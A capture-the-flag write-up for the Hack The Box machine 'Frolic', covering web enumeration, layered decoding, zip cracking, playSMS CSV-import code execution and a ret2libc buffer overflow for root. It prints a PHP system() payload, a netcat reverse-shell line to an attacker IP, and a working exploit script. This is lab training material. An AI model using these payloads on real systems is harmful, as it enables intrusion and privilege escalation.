Frolic

This is another Hack The Box machine that has a web application that has a vulnerability that allows for remote code execution (RCE). There's also a privilege escalation that is achived through a stack buffer overflow and using return oriented programming (ROP) technique.

For the reverse engineering part of the machine, Radare2 is used to analyze the binary and locate all of the necessary aspects.

Credentials

These are credentials found in different parts of the host

Port Scan

There are 5 open ports that were found:

The Samba service is not exposing any shares that can provide more information. Further checking the website found on port 9999/tcp.

Website

Accessing the on port 9999/tcp shows the default nginx installation page and points to the domain frolic.htb and pointing to the port 1880/tcp, however, that port only shows a Node-RED login and no credentials.

Running a ffuf scan with the command ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://frolic.htb:9999/FUZZ -o scans/ffuf.9999.json -c -ic -v -r -replay-proxy http://127.0.0.1:8080 shows the following relevant results

Upon further investigation on those URLs, the only relevant ones are

The backup directory points to two plain text files that contain credentials.

The admin page shows a login form and the JavaScript found at the URL http://frolic.htb:9999/admin/js/login.js contains the credentials in clear text

var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate(){
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
if ( username == "admin" && password == "superduperlooperpassword_lol"){
alert ("Login successfully");
window.location = "success.html"; // Redirecting to other page.
return false;
}
else{
attempt --;// Decrementing by one.
alert("You have left "+attempt+" attempt;");
// Disabling fields after 3 attempts.
if( attempt == 0){
document.getElementById("username").disabled = true;
document.getElementById("password").disabled = true;
document.getElementById("submit").disabled = true;
return false;
}
}
}

It also points to the page http://frolic.htb:9999/admin/success.html that contains the following Ook code, which is a rewrite of brainfuck.

..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .....
..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... .....
....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! .....
..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!!
!!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... .....
..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?.
?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... .....
..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... .....
..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!!
!.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!!
!!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?!
.?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?..
!.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?.
?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.?
!!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!!
!.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!!
!.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. .....
..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!!
!!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!!
!!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .....
..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! .....
..!.! !!!!! !.?.

After decoding the message Nothing here check /asdiSIAJJ0QWE9JAS is obtained, the last part is another page within the website.

The page that is found in the URL http://frolic.htb:9999/asdiSIAJJ0QWE9JAS/ contains a Base64 encoded string

UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB
BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs
K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve
EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj
lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC
AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG
AAAAAAEAAQBPAAAAAwEAAAAA

The encoded string is downloaded and decoded with the command curl http://frolic.htb:9999/asdiSIAJJ0QWE9JAS/ | base64 -d | xxd and shows that it's a binary file

504b0304140009000800c389374d23fe5b14b00000006902000009001c00
696e6465782e7068705554090003857ca75b857ca75b75780b0001040000
000004000000005e44e6104a9f73b2688a299a1b9550f06e0ba9bf5373e4
024a771a11dc8ee5a034e2f6d98f6bee7ad0128a55c896ec2b58ba7fe050
c8e112e1b687a4ead0bbe2785f13c04e895bfd8d8453aaea38f283f2e20f
914a3253c72a830344d08d7d933864540e51026bde10cad7e3e4fb6a5f9f
8bf918e994c027787f6390c216dd8f74beb2373551ac0b9a8a030e95106b
032c34b5d96229be3446b5e90609ffba84e396eae9efc72671326f8857d4
9ce339504b070823fe5b14b000000069020000504b01021e031400090008
00c389374d23fe5b14b000000069020000090018000000000001000000a4
8100000000696e6465782e7068705554050003857ca75b75780b00010400
0000000400000000504b050600000000010001004f000000030100000000

The file is then downloaded and stored in a zip file with the command curl http://frolic.htb:9999/asdiSIAJJ0QWE9JAS/ | base64 -d > evidence/data/asdiSIAJJ0QWE9JAS.zip. The archive is password protected, though it appears to contain a single index.php file. Attempting to crack the password by using John with the following steps

root@fb3af4a2ae0c:/opt/john/run# ./john --format=PKZIP --wordlist /opt/cracking/rockyou.txt /opt/cracking/asdiSIAJJ0QWE9JAS.zip.hash 
Warning: invalid UTF-8 seen reading /opt/cracking/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password         (asdiSIAJJ0QWE9JAS.zip/index.php)
1g 0:00:00:00 DONE (2021-06-05 16:19) 100.0g/s 354600p/s 354600c/s 354600C/s 123456..sss
Use the "--show" option to display all of the cracked passwords reliably
Session completed

The password password is used to extract the file from the zip archive

❯ 7z x asdiSIAJJ0QWE9JAS.zip

7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28
p7zip Version 17.04 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs x64)

Scanning the drive for archives:
1 file, 360 bytes (1 KiB)

Extracting archive: asdiSIAJJ0QWE9JAS.zip
--
Path = asdiSIAJJ0QWE9JAS.zip
Type = zip
Physical Size = 360

    
Enter password (will not be echoed):
Everything is Ok

Size:       617
Compressed: 360

The contents of the index.php file is a hex string

4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a

Decoding the hex string is done with the command xxd -r -p index.php and reveals a Base64 encoded string

KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==

By using the command cat index.php | xxd -r -p | tr -d '\r\n' | base64 -d the decoded data is obtained

+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..< 

By decoding the brainfuck code, the string idkwhatispass is obtained.

Further scanning is done with the ffuf command that scans recursively to locate any other directories/pages that weren't found on the first scan

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -recursion -recursion-depth 1 -u http://frolic.htb:9999/FUZZ -c -ic -v -replay-proxy http://127.0.0.1:8080 -o scans/ffuf.recursive.9999.json

One relevant result is found in the URL http://frolic.htb:9999/dev/backup/ where the page only has the string /playsms and accessing the URL http://frolic.htb:9999/playsms shows the playSMS page.

playSMS Service

By using the credentials that were found, access was gained to the playSMS service with an admin account.

Unable to successfully determine the version of playSMS that is being used, it is assumed that one of the file upload vulnerabilities for version 1.4 may work

---------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                          |  Path
---------------------------------------------------------------------------------------- ---------------------------------
PlaySMS - 'import.php' (Authenticated) CSV File Upload Code Execution (Metasploit)      | php/remote/44598.rb
PlaySMS - index.php Unauthenticated Template Injection Code Execution (Metasploit)      | php/remote/48335.rb
PlaySms 0.7 - SQL Injection                                                             | linux/remote/404.pl
PlaySms 0.8 - 'index.php' Cross-Site Scripting                                          | php/webapps/26871.txt
PlaySms 0.9.3 - Multiple Local/Remote File Inclusions                                   | php/webapps/7687.txt
PlaySms 0.9.5.2 - Remote File Inclusion                                                 | php/webapps/17792.txt
PlaySms 0.9.9.2 - Cross-Site Request Forgery                                            | php/webapps/30177.txt
PlaySMS 1.4 - '/sendfromfile.php' Remote Code Execution / Unrestricted File Upload      | php/webapps/42003.txt
PlaySMS 1.4 - 'import.php' Remote Code Execution                                        | php/webapps/42044.txt
PlaySMS 1.4 - 'sendfromfile.php?Filename' (Authenticated) 'Code Execution (Metasploit)  | php/remote/44599.rb
PlaySMS 1.4 - Remote Code Execution                                                     | php/webapps/42038.txt
PlaySMS 1.4.3 - Template Injection / Remote Code Execution                              | php/webapps/48199.txt
---------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Attempting to use the exploit 42003, which points to a CSV file upload that is unverified and allows for RCE. However, this was unsuccessful, it appears that the application does check for a valid filename and doesn't execute any PHP code on the filename.

Attempting to use the exploit 42044, this also uses a CSV file that is uploaded to the Phonebook, which is accessible via My Account -> Phonebook. The exploit relies on the header value of the User-Agent in the request being changed and then it is executed by the page, there is no file written to disk. The contents of the CSV file is shown below

Name,Mobile,Email,Group code,Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>,2,,,

The request header in the upload process is then changed to

POST http://frolic.htb:9999/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=import HTTP/1.1
Host: frolic.htb:9999
User-Agent: id; hostname
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: multipart/form-data; boundary=---------------------------72950579317560938561223174980
Content-Length: 457
Origin: http://frolic.htb:9999
DNT: 1
Connection: keep-alive
Referer: http://frolic.htb:9999/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=list
Cookie: PHPSESSID=6rl9keisf6lf85dib15uvtgve1
Upgrade-Insecure-Requests: 1

The result is the page that confirms the upload shows the output of the command.

In order to establish a reverse shell, the following request is sent in this process

POST http://frolic.htb:9999/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=import HTTP/1.1
Host: frolic.htb:9999
User-Agent: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.62 4444 >/tmp/f
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: multipart/form-data; boundary=---------------------------93784517437469769342519032468
Content-Length: 457
Origin: http://frolic.htb:9999
DNT: 1
Connection: keep-alive
Referer: http://frolic.htb:9999/playsms/index.php?app=main&inc=feature_phonebook&route=import&op=list
Cookie: PHPSESSID=6rl9keisf6lf85dib15uvtgve1
Upgrade-Insecure-Requests: 1

-----------------------------93784517437469769342519032468
Content-Disposition: form-data; name="X-CSRF-Token"

56cecb3aafb890acde113ea8ba5ef2ab
-----------------------------93784517437469769342519032468
Content-Disposition: form-data; name="fnpb"; filename="test.csv"
Content-Type: text/csv

Name,Mobile,Email,Group code,Tags
<?php $t=$_SERVER['HTTP_USER_AGENT']; system($t); ?>,2,,,

-----------------------------93784517437469769342519032468--

This manages to successfully establish the reverse shell as the www-data user

❯ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.163.216 52410
/bin/sh: 0: can't access tty; job control turned off
$ id; hostname; pwd
uid=33(www-data) gid=33(www-data) groups=33(www-data)
frolic
/var/www/html/playsms
$ 

The config.php file contains the credentials for the MySQL database

<?php                                                                                                                                   
// PHP PEAR DB compatible database engine:                                                                                              
// mysql, mysqli, pgsql, odbc and others supported by PHP PEAR DB                                                                       
$core_config['db']['type'] = 'mysqli';          // database engine
$core_config['db']['host'] = 'localhost';       // database host/server
$core_config['db']['port'] = '3306';    // database port            
$core_config['db']['user'] = 'root';    // database username        
$core_config['db']['pass'] = 'ayush';   // database password                                                                            
$core_config['db']['name'] = 'playsms'; // database name            

Shell Access

www-data

The reverse shell is obtained with the user www-data and the user flag is readable by this service account

$ ls -la /home/ayush
total 36
drwxr-xr-x 3 ayush ayush 4096 Sep 25  2018 .
drwxr-xr-x 4 root  root  4096 Sep 23  2018 ..
-rw------- 1 ayush ayush 2781 Sep 25  2018 .bash_history
-rw-r--r-- 1 ayush ayush  220 Sep 23  2018 .bash_logout
-rw-r--r-- 1 ayush ayush 3771 Sep 23  2018 .bashrc
drwxrwxr-x 2 ayush ayush 4096 Sep 25  2018 .binary
-rw-r--r-- 1 ayush ayush  655 Sep 23  2018 .profile
-rw------- 1 ayush ayush  965 Sep 25  2018 .viminfo
-rwxr-xr-x 1 ayush ayush   33 Sep 25  2018 user.txt
$ cat /home/ayush/user.txt
2ab95909cf509f85a6f476b59a0c2fe0

One directory that appears to be out of the default or ordinary directory structure for the user's home is .binary

$ ls -Al /home/ayush/.binary
total 8
-rwsr-xr-x 1 root root 7480 Sep 25  2018 rop
$ file /home/ayush/.binary/rop
/home/ayush/.binary/rop: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=59da91c100d138c662b77627b65efbbc9f797394, not stripped

Privilege Escalation

The binary rop (MD5 001d6cf82093a0d716587169e019de7d) is downloaded from the remote system for further analysis.

When executing the program, it shows the following message

$ /home/ayush/.binary/rop
[*] Usage: program <message>

When adding any string, as mentioned in the usage message, it simply prints it to the screen.

The Radare2 container has the 32-bit libraries necessary to run the binary, this can be done by executing the following command

podman run -v ./:/mnt -it --rm --cap-drop=ALL --cap-add=SYS_PTRACE --entrypoint bash docker.io/radare/radare2

Loading the binary in Radare2 for assembly analysis, it shows that there are two relevant functions within the binary, the main and sym.vuln. The main function checks if the parameter count is greater than 1 and then calls the sym.vuln function, otherwise it prints the usage message and exits the application.

     0x080484b6      83c410         add esp, 0x10
     0x080484b9      833b01         cmp dword [ebx], 1           ; Check if parameter count is equal to 1
.--< 0x080484bc      7f17           jg 0x80484d5                 ; jump if parameter count is greater than 1
|    0x080484be      83ec0c         sub esp, 0xc
|    0x080484c1      68c0850408     push str.___Usage:_program__message_ ; 0x80485c0 ; "[*] Usage: program <message>" ; const char *s
|    0x080484c6      e895feffff     call sym.imp.puts           ; int puts(const char *s)
|    0x080484cb      83c410         add esp, 0x10
|    0x080484ce      b8ffffffff     mov eax, 0xffffffff         ; -1
|    0x080484d3      eb19           jmp 0x80484ee               ; jumps to exit
|    ; CODE XREF from main @ 0x80484bc
'--> 0x080484d5      8b4304         mov eax, dword [ebx + 4]
     0x080484d8      83c004         add eax, 4
     0x080484db      8b00           mov eax, dword [eax]
     0x080484dd      83ec0c         sub esp, 0xc
     0x080484e0      50             push eax                    ; int32_t arg_8h
     0x080484e1      e812000000     call sym.vuln               ; Call to function that prints the entered value to the screen

The sym.vuln function uses the function strcpy without any validation of data being passed in the arguments and this is where the BoF takes place

┌ 58: sym.vuln (char *src);
│           ; var char *format @ ebp-0x30
│           ; arg char *src @ ebp+0x8
│           0x080484f8      55             push ebp
│           0x080484f9      89e5           mov ebp, esp
│           0x080484fb      83ec38         sub esp, 0x38
│           0x080484fe      83ec08         sub esp, 8
│           0x08048501      ff7508         push dword [src]            ; const char *src
│           0x08048504      8d45d0         lea eax, [format]
│           0x08048507      50             push eax                    ; char *dest
│           0x08048508      e843feffff     call sym.imp.strcpy         ; char *strcpy(char *dest, const char *src)
│           0x0804850d      83c410         add esp, 0x10
│           0x08048510      83ec0c         sub esp, 0xc
│           0x08048513      68dd850408     push str.___Message_sent:_  ; 0x80485dd ; "[+] Message sent: " ; const char *format
│           0x08048518      e823feffff     call sym.imp.printf         ; int printf(const char *format)
│           0x0804851d      83c410         add esp, 0x10
│           0x08048520      83ec0c         sub esp, 0xc
│           0x08048523      8d45d0         lea eax, [format]
│           0x08048526      50             push eax                    ; const char *format
│           0x08048527      e814feffff     call sym.imp.printf         ; int printf(const char *format)
│           0x0804852c      83c410         add esp, 0x10
│           0x0804852f      90             nop
│           0x08048530      c9             leave
└           0x08048531      c3             ret

The instruction at the address 0x080484fb shows that there is memory being allocated, this by subtracting 0x38 from the value of the esp register, this shows that there are 56 bytes being allocated. By creating a De Bruijn string with the command ragg2 -rP 56, it is possible to obtain the specific amount of bytes needed for the buffer overflow, the string that is generated is AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASA and below is how the binary is executed within Radare2

[0xf7f79549]> doo AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASA
Process with PID 7 started...                        
= attach 7 7                        
File dbg:///mnt/rop  AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASA reopened in read-write mode
7                     
[0xf7f0a0b0]> dc                             
[+] SIGNAL 11 errno=0 addr=0x41534141 code=1 si_pid=1095975233 ret=0 

Now check the registers with the command dr=

[0x41534141]> dr=
    eax 0x00000038      ebx 0xffba42b0      ecx 0x00000000      edx 0xf7ef9890
    esi 0xf7ef8000      edi 0xf7ef8000      esp 0xffba4280      ebp 0x52414151
    eip 0x41534141   eflags 0x00010282     oeax 0xffffffff  

The eip register is the one that is relevant in this case, this value is what specifies the amount of padding needed to generate the BoF and where to start with the payload, the output below shows the amount of bytes that are needed

[0x41534141]> wopO `dr eip`
52

This can be confirmed by generating a new string that has 52 A and 4 B characters, this can be done by running the command python -c "print('A'*52 + 'BBBB')", when using this string on the application the eip register should have the value 0x42424242

[0x41534141]> doo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Process with PID 8 started...
= attach 8 8
File dbg:///mnt/rop  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB reopened in read-write mode
8
[0xf7ef70b0]> dc
[+] SIGNAL 11 errno=0 addr=0x42424242 code=1 si_pid=1111638594 ret=0
[0x42424242]> drr
role reg    value    refstr
―――――――――――――――――――――――――――
A0   eax    38       56 .shstrtab eax ascii ('8')
A1   ebx    ffee7680 [stack] ebx stack R W 0x2
A2   ecx    0        0
A3   edx    f7ee6890 edx
     esi    f7ee5000 esi,edi
     edi    f7ee5000 esi,edi
SP   esp    ffee7650 [stack] esp stack R W 0xffee7800
BP   ebp    41414141 ebp ascii ('A')
PC   eip    42424242 eip ascii ('B')
     xfs    0        0
     xgs    63       99 .shstrtab ascii ('c')
     xcs    23       35 .comment ascii ('#')
     xss    2b       43 .comment ascii ('+')
     eflags 10282    eflags
SN   oeax   ffffffff -1 oeax

Checking the binary details with the i command, it shows that the nx is enabled, for this reason it is necessary to create a ROP chain to spawn a shell that gives access to the root account. Due to this flag that is enabled, it is necessary to search for a couple of objects in the libc.so.6 library that is running on the target host, the following steps are followed

Below is the output of all the commands mentioned in the steps above

$ ldd rop
        linux-gate.so.1 =>  (0xb7fda000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
        /lib/ld-linux.so.2 (0xb7fdb000)
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "system"
   245: 00112f20    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   627: 0003ada0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "exit"
   112: 0002edc0    39 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10
   141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
   450: 0002edf0   197 FUNC    GLOBAL DEFAULT   13 __cxa_thread_atexit_impl@@GLIBC_2.18
   558: 000b07c8    24 FUNC    GLOBAL DEFAULT   13 _exit@@GLIBC_2.0
   616: 00115fa0    56 FUNC    GLOBAL DEFAULT   13 svc_exit@@GLIBC_2.0
   652: 0002eda0    31 FUNC    GLOBAL DEFAULT   13 quick_exit@@GLIBC_2.10
   876: 0002ebf0    85 FUNC    GLOBAL DEFAULT   13 __cxa_atexit@@GLIBC_2.1.3
  1046: 0011fb80    52 FUNC    GLOBAL DEFAULT   13 atexit@GLIBC_2.0
  1394: 001b2204     4 OBJECT  GLOBAL DEFAULT   33 argp_err_exit_status@@GLIBC_2.1
  1506: 000f3870    58 FUNC    GLOBAL DEFAULT   13 pthread_exit@@GLIBC_2.0
  2108: 001b2154     4 OBJECT  GLOBAL DEFAULT   33 obstack_exit_failure@@GLIBC_2.0
  2263: 0002e9f0    78 FUNC    WEAK   DEFAULT   13 on_exit@@GLIBC_2.0
  2406: 000f4c80     2 FUNC    GLOBAL DEFAULT   13 __cyg_profile_func_exit@@GLIBC_2.2
$ strings -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
 15ba0b /bin/sh

All of the offsets need to be added to the address for the libc.so.6 library in order to obtain the necessary values

[0x42424242]> ?v 0xb7e19000 + 0x0003ada0
0xb7e53da0
[0x42424242]> ?v 0xb7e19000 + 0x0002e9d0
0xb7e479d0
[0x42424242]> ?v 0xb7e19000 + 0x15ba0b
0xb7f74a0b

These values can now be used in a python script to generate the payload that can be used to exploit the binary and achieve privilege escalation

from struct import pack
from base64 import b64encode

padding = b'A' * 52
system_address = pack('<I', 0xb7e53da0)
exit_address = pack('<I', 0xb7e479d0)
bin_sh_address = pack('<I', 0xb7f74a0b)

payload = padding + system_address + exit_address + bin_sh_address

print(b64encode(payload).decode())

The output string is encoded in Base64, which makes it easier to copy it over to the target host to exploit the binary

$ ./rop $(echo QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQaA95bfQeeS3C0r3tw== | base64 -d)

The command above manages to successfully exploit the BoF vulnerability in the binary and privilege escalation is achieved via this method.